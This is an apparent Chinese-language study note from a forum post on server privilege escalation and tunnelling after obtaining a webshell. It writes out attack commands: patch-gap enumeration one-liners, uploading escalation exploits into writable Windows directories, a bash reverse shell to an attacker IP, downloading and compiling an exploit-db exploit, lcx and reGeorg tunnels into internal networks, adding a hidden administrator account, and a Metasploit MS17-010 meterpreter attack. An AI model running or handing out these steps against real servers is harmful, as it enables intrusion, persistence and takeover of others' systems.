服务器提权与隧道技术

服务器提权与隧道技术

提权
权限提升
获取更多的权限

    水平越权
        通过更换的某个ID之类的身份标识,从而使A账号获取(修改、删除等)B账号数据。
    垂直提权
        使用低权限身份的账号,发送高权限账号才能有的请求。

            未授权访问(比如访问后台只有管理员才能访问,这时候如果没有权限验证就谁都可以为访问)
                    通过删除请求中的认证信息后重发该请求,依旧可以访问或者完成操作。                   

图片说明
图片说明
原理:
前端安全造成:界面判断用户等级后,代码界面部分进行可选显示
后端安全造成:数据库
比如user表(管理员和普通用户同表,用usertype判断用户等级)
id,username,password,usertype
1,admin,123456,1
2,xiaodi,123456789,2
因此如果在访问数据包中有传输用户的编号、用户组编号或类型的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
服务器提权
前提
一般情况下,在获得了WebShell(webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,
主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。
正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。) 的时候,进行提权
基于WebShell 的提权技术

提权前奏
    系统?
    Web 容器?
        Apache IIS Nginx
    中间件?
        PHP asp    aspx

    数据库?
        mysql 
        MSSQL

    如果目标系统使用的是windows 平台下的Apache 容器,
    一般情况下Web 用户直接就是系统权限。

    如果Web 应用是java 写的,一般情况下是系统权限

    提权主要就是通过whoami 命令查看当前权限是否是系统权限

windows 提权
    利用系统漏洞提权

    MS08067        微软发布安全通告    一个漏洞    补丁    kb
    MS17010

    首先明确哪些漏洞可以提权,然后收集补丁信息。如果没打补丁就可以尝试提权之。

    根据没有修补的补丁号,上网找利用程序,直接提权即可。
    http://www.7kb.org/138.html

    03
    systeminfo

systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt

KB952004 没有安装    就可以考虑使用PR 提权,找别人写的exp(提权工具)
一般情况下是.exe 文件

把.exe 文件上传到服务器
    需要找一个可写目录
        上传文件夹
        缓存目录
        日志目录
        回收站

回收站
/c C:\recycler (回收站的目录)

08

systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt


C:/inetpub/temp/IIS Temporary Compressed Files/ms15-051.exe "whoami"


[目录]c:\windows\debug\WIA
[文件]c:\windows\debug\WIA\wiatrace.log
[目录]c:\windows\Registration\CRMLog
[目录]c:\windows\System32\catroot2{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
[目录]c:\windows\System32\com\dmp
[目录]c:\windows\System32\spool\drivers\color
[目录]c:\windows\System32\spool\PRINTERS
[目录]c:\windows\System32\Tasks
[目录]c:\windows\SysWOW64\com\dmp
[目录]c:\windows\SysWOW64\Tasks
[目录]c:\windows\Tasks
[目录]c:\windows\Temp
[目录]c:\windows\tracing
[文件]c:\windows\tracing\rad7BC1D.tmp
[文件]c:\php\ [缺少对象]
[文件]d:\Program Files\ [缺少对象]
[文件]e:\Program Files\ [缺少对象]
[文件]C:\recycler\ [缺少对象]
[文件]d:\recycler\ [缺少对象]
[文件]e:\recycler\ [缺少对象]
[文件]f:\recycler\ [缺少对象]
[文件]C:\wmpub\ [缺少对象]
[文件]d:\freehostmain\ [缺少对象]
[文件]C:\360rec [缺少对象]
[文件]C:\cache [缺少对象]
[文件]C:\JPEGCapture [缺少对象]
[目录]C:\Inetpub\temp\ASP Compiled Templates\


    c:\windows\debug\WIA\ms15051.exe

    第三方软件
        Sogou输入法 提权
        暴风影音
        server-U        FTP 服务器的组件

以下提权目标为获取最高权限用户密码
pcanywhere
vnc

    数据库提权
        mysql    root 最高权限用户
            mof
            udf        用户自定义函数        .dll 文件

        mssql 提权
            sa        最高权限用户


Linux 提权
    基于WebShell 的
    内核提权
    uname -a
    cat /etc/issue
    cat /etc/*-release
    cat /etc/lsb-release
    cat /etc/redhat-release

    根据内核版本找提权exp
        一般情况下是.c 文件
    找漏洞网站:www.exploit-db.com
通过反弹Shell 建立持久性连接(让服务器连接客户端)
    工具:nc    
    也叫netcat(瑞士军刀)
        本地监听端口
            windows在nc文件夹(含有nc.exe的文件件)中打开powershell输入cmd再执行  nc.exe -lvvp 2333
            linux的话安装过可直接执行   nc -lvvp 2333

        远端服务器主动连接我们
            /bin/bash -i >& /dev/tcp/攻击者IP/攻击者端口号 0<&1


        文件上传:利用curl 工具从网上下载

        curl https://www.exploit-db.com/download/35370.c > exp.c(利用curl工具从该网站下载下来35370.c然后保存成exp.c)
        curl http://192.168.1.1/35370.c > exp.c

        gcc exp.c -o exploit -lpthread        将exp.c 文件编译成exploit
        ./exploit                执行该文件,提权成功

        提权要求比较严格

隧道技术
假如服务器在内网
1.利用2008 做NAT 端口转发
2.lcx 端口转发

        本地
            lcx.exe -listen 51 33891
            本地监听51 端口的流量,然后转发到本地3389 端口上

        远端服务器
            lcx.exe -slave 192.168.1.1 51 127.0.0.1 3389
            将127.0.0.1 的3389 端口的流量转发到远端地址192.168.1.1 的51 端口上

    192.168.1.1                100.1.1.128
    外网   端口:51《=====================3389:端口     内网
            |    
            |
            |
            |
           \/
           端口:33891
从内网可以访问外网,从外网无法访问内网    
这种方法只适用于单内网的情况
    服务器在内网中,攻击者需要准备一个公网的服务器。

假如服务器在内网,黑客的服务器也在内网
双内网的情况下,如图

hack        webshell(使用http协议构造一个隧道)               server                    
===================================================》
                                    3389
考虑将3389端口的流量封装到http协议中。隧道的起始端是hack一端,尾端是server一端


    cmd下拷贝文件
    xcopy C:\RECYCLER\tunnel.aspx C:\Inetpub\wwwroot\8000--test\(将tunnel.asox拷贝到8000--test目录下)

    reGeorgSocksProxy.py -u http://192.168.1.150:8000/tunnel.aspx -p 2333(入口就是2333端口)
在kali虚拟机中为python reGeorgSocksProxy.py -u http://192.168.1.150:8000/tunnel.aspx -p 2333 执行
接下来要让流量走2333端口,需要vim /etc/proxychins.config,在该文件中配置,将socket5后的地址改成127.0.0.1 2333
接着在reGeorg-master目录下输入proxychins redesktop 100.1.1.128(用redesktop通过proxychins走2333端口,其中100.1.1.128为内网地址)
    windows
        Proxifier 让我们程序的流量走固定的端口

    linux工具
        proxychins

whoami

查看打过那些补丁

net user +用户名+密码 /add 创建用户
net localgroup administrators +用户名 /add 将用户添加到管理员组
net user /用户名 查看当前用户

目标用户若是开放了对应3389端口直接使用远程连接,输入用户名与密码就可以进行连接
获取最高权限管理员的用户名与密码

www.exploit-db.com

www.bbz520.com/uploads/1803

#MSF

Metasploit FrameWork MSF
渗透测试攻击框架
metasploit v4.14.10-dev
开发版是免费的,自动集成在kali 里
正式版是收费的
https://www.metasploit.com/
https://github.com/rapid7/metasploit-framework

跨平台的
    诸葛建伟    《Metasploit 魔鬼训练营》

msf 中的脚本都是ruby 语言写的 

利用“永恒之蓝”直接入侵目标系统
    永恒之蓝 MS17-010
    metasploit v4.16.48-dev  


    payload
        就是我们渗透攻击是所使用的代码

msfconsole         启动msf 控制台

search    ms17-010        搜索某一个模块
use     +模块        使用某一个模块
show options    查看某一个模块的配置
set 命令
    set RHOST+IP    设置远程目标地址
    set LHOST    +IP    设置攻击者IP(本机)
    set payload
        meterpreter 系列
            一般使用tcp 反弹连接

show payloads

set payload windows/x64/meterpreter/reverse_tcp

show payloads    显示所有可用的payload 模块

show targets    显示可用的目标

exploit        发起攻击

shell        攻击成功后输入shell开启dos命令 

ipconfig                

MS17-010 缓冲区溢出漏洞
比较底层 而且与系统架构和程序的内存空间有关系
程序的运行时逐条执行
通过缓冲区溢出漏洞改变了程序的执行流程

windows/x64/meterpreter/reverse_tcp

meterpreter
技术优势
平台通用性
纯内存工作模式(不会留下痕迹)
灵活且加密的通信协议
易于扩展

基本命令
    background
    sessions
        sessions -i 1
    quit
    shell
全部评论

相关推荐

评论
点赞
收藏
分享

创作者周榜

更多
牛客网
牛客企业服务